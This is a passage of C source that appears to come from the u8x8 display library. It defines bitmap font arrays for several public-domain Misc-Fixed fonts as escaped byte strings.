\"\\0\\0\\0\\0\\370HH\\60\\0\\0\\0\\0\\60HH\\370\\0\\0\\0\\0x\\10\\10\\20\\0\\0\\0\\0PXh(\"\n  \"\\0\\0\\0\\0\\10>H@\\0\\0\\0\\0\\70@@x\\0\\0\\0\\0\\0\\70@\\70\\0\\0\\0\\0x``x\"\n  \"\\0\\0\\0\\0H\\60\\60H\\0\\0\\0\\0\\30\\240@\\70\\0\\0\\0\\0HhXH\\0\\0\\0\\0\\0\\10<B\"\n  \"\\0\\0\\0\\0\\0\\0~\\0\\0\\0\\0\\0\\0B<\\10\\0\\0\\0\\0\\4\\2\\4\\2\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0z\\0\\0\\0\\0\\0\\60H\\374H\\0\\0\\0\\0P\\70TD\"\n  \"\\0\\0\\0\\0D\\70(\\70D\\0\\0\\0\\0\\26x\\26\\0\\0\\0\\0\\0\\0l\\0\\0\\0\\0\\0\\0\\234\\252r\"\n  \"\\0\\0\\0\\0\\0\\2\\0\\2\\0\\0\\0\\0|\\222\\252\\202|\\0\\0\\0\\4\\12\\16\\0\\0\\0\\0\\0\\20(\\0\\20\"\n  \"(\\0\\0\\0\\20\\20\\20\\60\\0\\0\\0\\0\\0\\20\\20\\20\\0\\0\\0\\0|\\272\\212\\202|\\0\\0\\0\\2\\2\\2\\2\"\n  \"\\0\\0\\0\\0\\0\\4\\12\\4\\0\\0\\0\\0HH~HH\\0\\0\\0\\0\\32\\26\\0\\0\\0\\0\\0\\0\\26\\36\\0\"\n  \"\\0\\0\\0\\0\\0\\4\\2\\0\\0\\0\\0\\0\\370@@\\70\\0\\0\\0\\0\\14~\\2~\\0\\0\\0\\0\\0\\30\\30\\0\"\n  \"\\0\\0\\0\\0\\0\\200@\\0\\0\\0\\0\\0\\0\\24\\36\\20\\0\\0\\0\\0\\4\\12\\4\\0\\0\\0\\0\\0(\\20\\0(\"\n  \"\\20\\0\\0\\0\\36@`\\360\\0\\0\\0\\0\\36\\0\\320\\260\\0\\0\\0\\0\\26^`\\360\\0\\0\\0\\0\\0\\60J \"\n  \"\\0\\0\\0\\0|\\22\\22|\\0\\0\\0\\0|\\22\\22|\\0\\0\\0\\0|\\22\\22|\\0\\0\\0\\0|\\22\\22|\"\n  \"\\0\\0\\0\\0z\\24\\24z\\0\\0\\0\\0x\\26\\26x\\0\\0\\0\\0|\\22~J\\0\\0\\0\\0<\\302B$\"\n  \"\\0\\0\\0\\0~JJB\\0\\0\\0\\0~JJB\\0\\0\\0\\0~JJB\\0\\0\\0\\0~JJB\"\n  \"\\0\\0\\0\\0\\0B~B\\0\\0\\0\\0\\0B~B\\0\\0\\0\\0\\0B~B\\0\\0\\0\\0\\0B~B\"\n  \"\\0\\0\\0\\0J~B<\\0\\0\\0\\0~\\10\\62~\\0\\0\\0\\0<BB<\\0\\0\\0\\0<BB<\"\n  \"\\0\\0\\0\\0<BB<\\0\\0\\0\\0<BB<\\0\\0\\0\\0:DD:\\0\\0\\0\\0H\\60\\60H\"\n  \"\\0\\0\\0\\0|rN>\\0\\0\\0\\0>@@>\\0\\0\\0\\0>@@>\\0\\0\\0\\0>@@>\"\n  \"\\0\\0\\0\\0:@@:\\0\\0\\0\\0\\0\\16p\\16\\0\\0\\0\\0~\\24\\24\\10\\0\\0\\0\\0|\\2J\\64\"\n  \"\\0\\0\\0\\0\\60J,x\\0\\0\\0\\0\\60L*x\\0\\0\\0\\0\\60L*|\\0\\0\\0\\0\\64J,z\"\n  \"\\0\\0\\0\\0\\60J(z\\0\\0\\0\\0\\60N.x\\0\\0\\0\\0\\60HxX\\0\\0\\0\\0\\0\\60\\310H\"\n  \"\\0\\0\\0\\0\\60j\\134\\20\\0\\0\\0\\0\\60lZ\\20\\0\\0\\0\\0\\64j\\134\\20\\0\\0\\0\\0\\62hZ\\20\"\n  \"\\0\\0\\0\\0\\0J|@\\0\\0\\0\\0\\0Lz@\\0\\0\\0\\0\\0LzD\\0\\0\\0\\0\\0JxB\"\n  \"\\0\\0\\0\\0\\60JL\\64\\0\\0\\0\\0|\\12\\14r\\0\\0\\0\\0\\60JL\\60\\0\\0\\0\\0\\60LJ\\60\"\n  \"\\0\\0\\0\\0\\60JJ\\60\\0\\0\\0\\0\\64JL\\62\\0\\0\\0\\0\\60JH\\62\\0\\0\\0\\0\\20TT\\20\"\n  \"\\0\\0\\0\\0phX\\70\\0\\0\\0\\0\\70BDx\\0\\0\\0\\0\\70DBx\\0\\0\\0\\0\\70BBx\"\n  \"\\0\\0\\0\\0\\70B@z\\0\\0\\0\\0\\30\\244B\\70\\0\\0\\0\\0\\374HH\\60\\0\\0\\0\\0\\30\\242@:\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: -Misc-Fixed-Medium-R-Normal--7-70-75-75-C-50-ISO10646-1\n  Copyright: Public domain font.  Share and enjoy.\n  Glyphs: 95/1848\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_5x7_r[764] U8X8_FONT_SECTION(\"u8x8_font_5x7_r\") = \n  \" ~\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0^\\0\\0\\0\\0\\0\\0\\16\\0\\16\\0\\0\\0\\0(|(|\"\n  \"(\\0\\0\\0\\10T|T \\0\\0\\0&\\20\\10d\\0\\0\\0\\0(T(@\\0\\0\\0\\0\\0\\0\\16\\0\"\n  \"\\0\\0\\0\\0\\0<B\\0\\0\\0\\0\\0\\0B<\\0\\0\\0\\0\\0\\0T\\70T\\0\\0\\0\\0\\20\\20|\\20\"\n  \"\\20\\0\\0\\0\\0\\200` \\0\\0\\0\\0\\20\\20\\20\\20\\0\\0\\0\\0\\0``\\0\\0\\0\\0\\0 \\20\\10\\4\"\n  \"\\0\\0\\0\\0\\0<B<\\0\\0\\0\\0\\0D~@\\0\\0\\0\\0DbRL\\0\\0\\0\\0\\42JJ\\66\"\n  \"\\0\\0\\0\\0\\30\\24~\\20\\0\\0\\0\\0.JJ\\62\\0\\0\\0\\0<JJ\\60\\0\\0\\0\\0\\2b\\32\\6\"\n  \"\\0\\0\\0\\0\\64JJ\\64\\0\\0\\0\\0\\14RR<\\0\\0\\0\\0\\0ll\\0\\0\\0\\0\\0\\200l,\\0\"\n  \"\\0\\0\\0\\0\\0\\20(D\\0\\0\\0\\0((((\\0\\0\\0\\0\\0D(\\20\\0\\0\\0\\0\\0\\4R\\14\"\n  \"\\0\\0\\0\\0<BZ\\34\\0\\0\\0\\0|\\22\\22|\\0\\0\\0\\0~JJ\\64\\0\\0\\0\\0<BB$\"\n  \"\\0\\0\\0\\0~BB<\\0\\0\\0\\0~JJB\\0\\0\\0\\0~\\12\\12\\2\\0\\0\\0\\0<BRt\"\n  \"\\0\\0\\0\\0~\\10\\10~\\0\\0\\0\\0\\0B~B\\0\\0\\0\\0 @@>\\0\\0\\0\\0~\\30$B\"\n  \"\\0\\0\\0\\0~@@@\\0\\0\\0\\0~\\14\\14~\\0\\0\\0\\0~\\14\\60~\\0\\0\\0\\0<BB<\"\n  \"\\0\\0\\0\\0~\\22\\22\\14\\0\\0\\0\\0<bB\\274\\0\\0\\0\\0~\\22\\62L\\0\\0\\0\\0$JR$\"\n  \"\\0\\0\\0\\0\\0\\2~\\2\\0\\0\\0\\0>@@>\\0\\0\\0\\0\\36``\\36\\0\\0\\0\\0~\\60\\60~\"\n  \"\\0\\0\\0\\0f\\30\\30f\\0\\0\\0\\0\\0\\16p\\16\\0\\0\\0\\0bRJF\\0\\0\\0\\0\\0~BB\"\n  \"\\0\\0\\0\\0\\4\\10\\20 \\0\\0\\0\\0\\0BB~\\0\\0\\0\\0\\0\\4\\2\\4\\0\\0\\0\\0@@@@\"\n  \"\\0\\0\\0\\0\\0\\2\\4\\0\\0\\0\\0\\0\\60H(x\\0\\0\\0\\0~HH\\60\\0\\0\\0\\0\\60HH\\0\"\n  \"\\0\\0\\0\\0\\60HH~\\0\\0\\0\\0\\60hX\\20\\0\\0\\0\\0\\20|\\22\\4\\0\\0\\0\\0P\\250\\250\\230\"\n  \"\\0\\0\\0\\0~\\10\\10p\\0\\0\\0\\0\\0Hz@\\0\\0\\0\\0\\0@\\200z\\0\\0\\0\\0~\\20(@\"\n  \"\\0\\0\\0\\0\\0B~@\\0\\0\\0\\0x\\20\\30p\\0\\0\\0\\0x\\10\\10p\\0\\0\\0\\0\\60HH\\60\"\n  \"\\0\\0\\0\\0\\370HH\\60\\0\\0\\0\\0\\60HH\\370\\0\\0\\0\\0x\\10\\10\\20\\0\\0\\0\\0PXh(\"\n  \"\\0\\0\\0\\0\\10>H@\\0\\0\\0\\0\\70@@x\\0\\0\\0\\0\\0\\70@\\70\\0\\0\\0\\0x``x\"\n  \"\\0\\0\\0\\0H\\60\\60H\\0\\0\\0\\0\\30\\240@\\70\\0\\0\\0\\0HhXH\\0\\0\\0\\0\\0\\10<B\"\n  \"\\0\\0\\0\\0\\0\\0~\\0\\0\\0\\0\\0\\0B<\\10\\0\\0\\0\\0\\4\\2\\4\\2\\0\\0\\0\";\n/*\n  Fontname: -Misc-Fixed-Medium-R-Normal--7-70-75-75-C-50-ISO10646-1\n  Copyright: Public domain font.  Share and enjoy.\n  Glyphs: 18/1848\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_5x7_n[220] U8X8_FONT_SECTION(\"u8x8_font_5x7_n\") = \n  \" :\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0T\\70T\\0\\0\\0\\0\\20\\20|\\20\"\n  \"\\20\\0\\0\\0\\0\\200` \\0\\0\\0\\0\\20\\20\\20\\20\\0\\0\\0\\0\\0``\\0\\0\\0\\0\\0 \\20\\10\\4\"\n  \"\\0\\0\\0\\0\\0<B<\\0\\0\\0\\0\\0D~@\\0\\0\\0\\0DbRL\\0\\0\\0\\0\\42JJ\\66\"\n  \"\\0\\0\\0\\0\\30\\24~\\20\\0\\0\\0\\0.JJ\\62\\0\\0\\0\\0<JJ\\60\\0\\0\\0\\0\\2b\\32\\6\"\n  \"\\0\\0\\0\\0\\64JJ\\64\\0\\0\\0\\0\\14RR<\\0\\0\\0\\0\\0ll\\0\\0\\0\\0\";\n/*\n  Fontname: -Misc-Fixed-Medium-R-Normal--8-80-75-75-C-50-ISO10646-1\n  Copyright: Public domain font.  Share and enjoy.\n  Glyphs: 191/1426\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_5x8_f[1796] U8X8_FONT_SECTION(\"u8x8_font_5x8_f\") = \n  \" \\377\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0^\\0\\0\\0\\0\\0\\0\\16\\0\\16\\0\\0\\0\\0\\24\\177\\24\\177\"\n  \"\\24\\0\\0\\0\\4*\\177*\\20\\0\\0\\0\\0\\26\\10\\64\\0\\0\\0\\0\\66I\\66@\\0\\0\\0\\0\\0\\0\\16\\0\"\n  \"\\0\\0\\0\\0\\0<B\\0\\0\\0\\0\\0\\0B<\\0\\0\\0\\0\\0T\\70\\70T\\0\\0\\0\\0\\20\\20|\\20\"\n  \"\\20\\0\\0\\0\\0\\200` \\0\\0\\0\\0\\20\\20\\20\\20\\0\\0\\0\\0\\0@\\340@\\0\\0\\0\\0`\\20\\10\\6\"\n  \"\\0\\0\\0\\0\\0<B<\\0\\0\\0\\0\\0D~@\\0\\0\\0\\0dRRL\\0\\0\\0\\0\\42JN\\62\"\n  \"\\0\\0\\0\\0\\30\\24~\\20\\0\\0\\0\\0.JJ\\62\\0\\0\\0\\0<JJ\\60\\0\\0\\0\\0\\2b\\32\\6\"\n  \"\\0\\0\\0\\0\\64JJ\\64\\0\\0\\0\\0\\14RR<\\0\\0\\0\\0\\0ll\\0\\0\\0\\0\\0\\0\\200l,\"\n  \"\\0\\0\\0\\0\\0\\30$B\\0\\0\\0\\0((((\\0\\0\\0\\0\\0B$\\30\\0\\0\\0\\0\\0\\4R\\14\"\n  \"\\0\\0\\0\\0<B\\231\\245\\36\\0\\0\\0|\\22\\22|\\0\\0\\0\\0~JJ\\64\\0\\0\\0\\0<BB$\"\n  \"\\0\\0\\0\\0~BB<\\0\\0\\0\\0~JJB\\0\\0\\0\\0~\\12\\12\\2\\0\\0\\0\\0<BR\\64\"\n  \"\\0\\0\\0\\0~\\10\\10~\\0\\0\\0\\0\\0B~B\\0\\0\\0\\0 B>\\2\\0\\0\\0\\0~\\10\\64B\"\n  \"\\0\\0\\0\\0~@@@\\0\\0\\0\\0~\\14\\14~\\0\\0\\0\\0~\\14\\70~\\0\\0\\0\\0<BB<\"\n  \"\\0\\0\\0\\0~\\22\\22\\14\\0\\0\\0\\0<Rb\\274\\0\\0\\0\\0~\\22\\22l\\0\\0\\0\\0$JR$\"\n  \"\\0\\0\\0\\0\\0\\2~\\2\\0\\0\\0\\0>@@>\\0\\0\\0\\0\\36``\\36\\0\\0\\0\\0~\\60\\60~\"\n  \"\\0\\0\\0\\0f\\30\\30f\\0\\0\\0\\0\\6\\10p\\10\\6\\0\\0\\0bRJF\\0\\0\\0\\0\\0~BB\"\n  \"\\0\\0\\0\\0\\6\\10\\20`\\0\\0\\0\\0\\0BB~\\0\\0\\0\\0\\0\\4\\2\\4\\0\\0\\0\\0\\200\\200\\200\\200\"\n  \"\\0\\0\\0\\0\\0\\2\\4\\0\\0\\0\\0\\0\\60HHx\\0\\0\\0\\0~HH\\60\\0\\0\\0\\0\\0\\60HH\"\n  \"\\0\\0\\0\\0\\60HH~\\0\\0\\0\\0\\60hX\\20\\0\\0\\0\\0\\20|\\22\\4\\0\\0\\0\\0\\20\\250\\250p\"\n  \"\\0\\0\\0\\0~\\10\\10p\\0\\0\\0\\0\\0Hz@\\0\\0\\0\\0\\0@\\200z\\0\\0\\0\\0~\\20\\20h\"\n  \"\\0\\0\\0\\0\\0B~@\\0\\0\\0\\0x\\10p\\10p\\0\\0\\0x\\10\\10p\\0\\0\\0\\0\\60HH\\60\"\n  \"\\0\\0\\0\\0\\370((\\20\\0\\0\\0\\0\\20((\\370\\0\\0\\0\\0x\\20\\10\\20\\0\\0\\0\\0\\0PX(\"\n  \"\\0\\0\\0\\0\\10>H \\0\\0\\0\\0\\70@@x\\0\\0\\0\\0\\0\\70@\\70\\0\\0\\0\\0\\70@\\60@\"\n  \"\\70\\0\\0\\0H\\60\\60H\\0\\0\\0\\0X\\240\\240x\\0\\0\\0\\0HhXH\\0\\0\\0\\0\\10*UA\"\n  \"\\0\\0\\0\\0\\0\\0~\\0\\0\\0\\0\\0AU*\\10\\0\\0\\0\\0\\4\\2\\4\\2\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0z\\0\\0\\0\\0\\0\\60H\\374H\\0\\0\\0\\0H<J$\"\n  \"\\0\\0\\0\\0D\\70(\\70D\\0\\0\\0*,x,*\\0\\0\\0\\0\\0w\\0\\0\\0\\0\\0NUU\\71\"\n  \"\\0\\0\\0\\0\\0\\2\\0\\2\\0\\0\\0\\0<ZfB<\\0\\0\\0\\0\\22\\25\\27\\0\\0\\0\\0\\20(\\20(\"\n  \"\\0\\0\\0\\0\\0\\20\\20p\\0\\0\\0\\0\\0\\20\\20\\20\\0\\0\\0\\0<~Vj<\\0\\0\\0\\0\\2\\2\\2\"\n  \"\\0\\0\\0\\0\\0\\4\\12\\4\\0\\0\\0\\0\\0H\\134H\\0\\0\\0\\0\\0\\22\\31\\26\\0\\0\\0\\0\\0\\25\\25\\12\"\n  \"\\0\\0\\0\\0\\0\\4\\2\\0\\0\\0\\0\\0\\370@@\\70\\0\\0\\0\\0\\14\\36~\\2~\\0\\0\\0\\0\\0\\20\\0\"\n  \"\\0\\0\\0\\0\\0\\200@\\0\\0\\0\\0\\0\\0\\22\\37\\20\\0\\0\\0\\0\\0\\22\\25\\22\\0\\0\\0\\0(\\20(\\20\"\n  \"\\0\\0\\0\\0/\\60x \\0\\0\\0\\0\\17HdX\\0\\0\\0\\0\\65*x \\0\\0\\0\\0\\0\\60J \"\n  \"\\0\\0\\0\\0x\\25\\26x\\0\\0\\0\\0x\\26\\25x\\0\\0\\0\\0z\\25\\25z\\0\\0\\0\\0z\\25\\26y\"\n  \"\\0\\0\\0\\0y\\24\\24y\\0\\0\\0\\0z\\25\\25z\\0\\0\\0\\0|\\22~R\\0\\0\\0\\0<\\302B$\"\n  \"\\0\\0\\0\\0|UVD\\0\\0\\0\\0|VUD\\0\\0\\0\\0~UUF\\0\\0\\0\\0}TTE\"\n  \"\\0\\0\\0\\0\\0E~D\\0\\0\\0\\0\\0D~E\\0\\0\\0\\0\\0F}F\\0\\0\\0\\0\\0E|E\"\n  \"\\0\\0\\0\\0\\10~JB<\\0\\0\\0~\\11\\22}\\0\\0\\0\\0\\70EF\\70\\0\\0\\0\\0\\70FE\\70\"\n  \"\\0\\0\\0\\0:EE:\\0\\0\\0\\0:EF\\71\\0\\0\\0\\0\\71DD\\71\\0\\0\\0\\0\\0P P\"\n  \"\\0\\0\\0\\0|rN>\\0\\0\\0\\0<AB<\\0\\0\\0\\0<BA<\\0\\0\\0\\0>AA>\"\n  \"\\0\\0\\0\\0=@@=\\0\\0\\0\\0\\4\\10r\\11\\4\\0\\0\\0~$$\\30\\0\\0\\0\\0|\\2Z$\"\n  \"\\0\\0\\0\\0\\60IJx\\0\\0\\0\\0\\60JIx\\0\\0\\0\\0\\60JIz\\0\\0\\0\\0\\62IJy\"\n  \"\\0\\0\\0\\0\\60JHz\\0\\0\\0\\0\\62MMz\\0\\0\\0\\0(XxhP\\0\\0\\0\\0\\60\\310H\"\n  \"\\0\\0\\0\\0\\60iZ\\20\\0\\0\\0\\0\\60jY\\20\\0\\0\\0\\0\\62iY\\22\\0\\0\\0\\0\\60jX\\22\"\n  \"\\0\\0\\0\\0\\0Iz@\\0\\0\\0\\0\\0HzA\\0\\0\\0\\0\\0JyB\\0\\0\\0\\0\\0JxB\"\n  \"\\0\\0\\0\\0%RU\\70\\0\\0\\0\\0z\\11\\12q\\0\\0\\0\\0\\60IJ\\60\\0\\0\\0\\0\\60JI\\60\"\n  \"\\0\\0\\0\\0\\62II\\62\\0\\0\\0\\0\\62IJ\\61\\0\\0\\0\\0\\62HH\\62\\0\\0\\0\\0\\0\\20T\\20\"\n  \"\\0\\0\\0\\0phX\\70\\0\\0\\0\\0\\70ABx\\0\\0\\0\\0\\70BAx\\0\\0\\0\\0:AAz\"\n  \"\\0\\0\\0\\0:@@z\\0\\0\\0\\0X\\242\\241x\\0\\0\\0\\0\\376((\\20\\0\\0\\0\\0Z\\240\\240z\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: -Misc-Fixed-Medium-R-Normal--8-80-75-75-C-50-ISO10646-1\n  Copyright: Public domain font.  Share and enjoy.\n  Glyphs: 95/1426\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_5x8_r[764] U8X8_FONT_SECTION(\"u8x8_font_5x8_r\") = \n  \" ~\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0^\\0\\0\\0\\0\\0\\0\\16\\0\\16\\0\\0\\0\\0\\24\\177\\24\\177\"\n  \"\\24\\0\\0\\0\\4*\\177*\\20\\0\\0\\0\\0\\26\\10\\64\\0\\0\\0\\0\\66I\\66@\\0\\0\\0\\0\\0\\0\\16\\0\"\n  \"\\0\\0\\0\\0\\0<B\\0\\0\\0\\0\\0\\0B<\\0\\0\\0\\0\\0T\\70\\70T\\0\\0\\0\\0\\20\\20|\\20\"\n  \"\\20\\0\\0\\0\\0\\200` \\0\\0\\0\\0\\20\\20\\20\\20\\0\\0\\0\\0\\0@\\340@\\0\\0\\0\\0`\\20\\10\\6\"\n  \"\\0\\0\\0\\0\\0<B<\\0\\0\\0\\0\\0D~@\\0\\0\\0\\0dRRL\\0\\0\\0\\0\\42JN\\62\"\n  \"\\0\\0\\0\\0\\30\\24~\\20\\0\\0\\0\\0.JJ\\62\\0\\0\\0\\0<JJ\\60\\0\\0\\0\\0\\2b\\32\\6\"\n  \"\\0\\0\\0\\0\\64JJ\\64\\0\\0\\0\\0\\14RR<\\0\\0\\0\\0\\0ll\\0\\0\\0\\0\\0\\0\\200l,\"\n  \"\\0\\0\\0\\0\\0\\30$B\\0\\0\\0\\0((((\\0\\0\\0\\0\\0B$\\30\\0\\0\\0\\0\\0\\4R\\14\"\n  \"\\0\\0\\0\\0<B\\231\\245\\36\\0\\0\\0|\\22\\22|\\0\\0\\0\\0~JJ\\64\\0\\0\\0\\0<BB$\"\n  \"\\0\\0\\0\\0~BB<\\0\\0\\0\\0~JJB\\0\\0\\0\\0~\\12\\12\\2\\0\\0\\0\\0<BR\\64\"\n  \"\\0\\0\\0\\0~\\10\\10~\\0\\0\\0\\0\\0B~B\\0\\0\\0\\0 B>\\2\\0\\0\\0\\0~\\10\\64B\"\n  \"\\0\\0\\0\\0~@@@\\0\\0\\0\\0~\\14\\14~\\0\\0\\0\\0~\\14\\70~\\0\\0\\0\\0<BB<\"\n  \"\\0\\0\\0\\0~\\22\\22\\14\\0\\0\\0\\0<Rb\\274\\0\\0\\0\\0~\\22\\22l\\0\\0\\0\\0$JR$\"\n  \"\\0\\0\\0\\0\\0\\2~\\2\\0\\0\\0\\0>@@>\\0\\0\\0\\0\\36``\\36\\0\\0\\0\\0~\\60\\60~\"\n  \"\\0\\0\\0\\0f\\30\\30f\\0\\0\\0\\0\\6\\10p\\10\\6\\0\\0\\0bRJF\\0\\0\\0\\0\\0~BB\"\n  \"\\0\\0\\0\\0\\6\\10\\20`\\0\\0\\0\\0\\0BB~\\0\\0\\0\\0\\0\\4\\2\\4\\0\\0\\0\\0\\200\\200\\200\\200\"\n  \"\\0\\0\\0\\0\\0\\2\\4\\0\\0\\0\\0\\0\\60HHx\\0\\0\\0\\0~HH\\60\\0\\0\\0\\0\\0\\60HH\"\n  \"\\0\\0\\0\\0\\60HH~\\0\\0\\0\\0\\60hX\\20\\0\\0\\0\\0\\20|\\22\\4\\0\\0\\0\\0\\20\\250\\250p\"\n  \"\\0\\0\\0\\0~\\10\\10p\\0\\0\\0\\0\\0Hz@\\0\\0\\0\\0\\0@\\200z\\0\\0\\0\\0~\\20\\20h\"\n  \"\\0\\0\\0\\0\\0B~@\\0\\0\\0\\0x\\10p\\10p\\0\\0\\0x\\10\\10p\\0\\0\\0\\0\\60HH\\60\"\n  \"\\0\\0\\0\\0\\370((\\20\\0\\0\\0\\0\\20((\\370\\0\\0\\0\\0x\\20\\10\\20\\0\\0\\0\\0\\0PX(\"\n  \"\\0\\0\\0\\0\\10>H \\0\\0\\0\\0\\70@@x\\0\\0\\0\\0\\0\\70@\\70\\0\\0\\0\\0\\70@\\60@\"\n  \"\\70\\0\\0\\0H\\60\\60H\\0\\0\\0\\0X\\240\\240x\\0\\0\\0\\0HhXH\\0\\0\\0\\0\\10*UA\"\n  \"\\0\\0\\0\\0\\0\\0~\\0\\0\\0\\0\\0AU*\\10\\0\\0\\0\\0\\4\\2\\4\\2\\0\\0\\0\";\n/*\n  Fontname: -Misc-Fixed-Medium-R-Normal--8-80-75-75-C-50-ISO10646-1\n  Copyright: Public domain font.  Share and enjoy.\n  Glyphs: 18/1426\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_5x8_n[220] U8X8_FONT_SECTION(\"u8x8_font_5x8_n\") = \n  \" :\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0T\\70\\70T\\0\\0\\0\\0\\20\\20|\\20\"\n  \"\\20\\0\\0\\0\\0\\200` \\0\\0\\0\\0\\20\\20\\20\\20\\0\\0\\0\\0\\0@\\340@\\0\\0\\0\\0`\\20\\10\\6\"\n  \"\\0\\0\\0\\0\\0<B<\\0\\0\\0\\0\\0D~@\\0\\0\\0\\0dRRL\\0\\0\\0\\0\\42JN\\62\"\n  \"\\0\\0\\0\\0\\30\\24~\\20\\0\\0\\0\\0.JJ\\62\\0\\0\\0\\0<JJ\\60\\0\\0\\0\\0\\2b\\32\\6\"\n  \"\\0\\0\\0\\0\\64JJ\\64\\0\\0\\0\\0\\14RR<\\0\\0\\0\\0\\0ll\\0\\0\\0\\0\";\n/*\n  Fontname: -Misc-Fixed-Medium-R-Normal--13-120-75-75-C-80-ISO10646-1\n  Copyright: Public domain font.  Share and enjoy.\n  Glyphs: 191/3703\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_8x13_1x2_f[3588] U8X8_FONT_SECTION(\"u8x8_font_8x13_1x2_f\") = \n  \" \\377\\1\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\0\\0\\0\\0\\0\\0\\0\\13\"\n  \"\\0\\0\\0\\0\\0\\0\\70\\0\\0\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@\\360@@\\360@\\0\\0\\1\\7\\1\"\n  \"\\1\\7\\1\\0\\0`\\220\\370\\220\\20\\0\\0\\0\\4\\4\\17\\4\\3\\0\\0\\0\\20(\\20\\300 \\30\\0\\0\\10\\6\\1\"\n  \"\\4\\12\\4\\0\\0\\300  \\300\\0\\0\\0\\0\\6\\11\\11\\12\\4\\12\\0\\0\\0\\0\\70\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\60\\10\\0\\0\\0\\0\\0\\1\\6\\10\\0\\0\\0\\0\\10\\60\\300\\0\\0\\0\\0\\0\\10\\6\"\n  \"\\1\\0\\0\\0\\0 \\250pp\\250 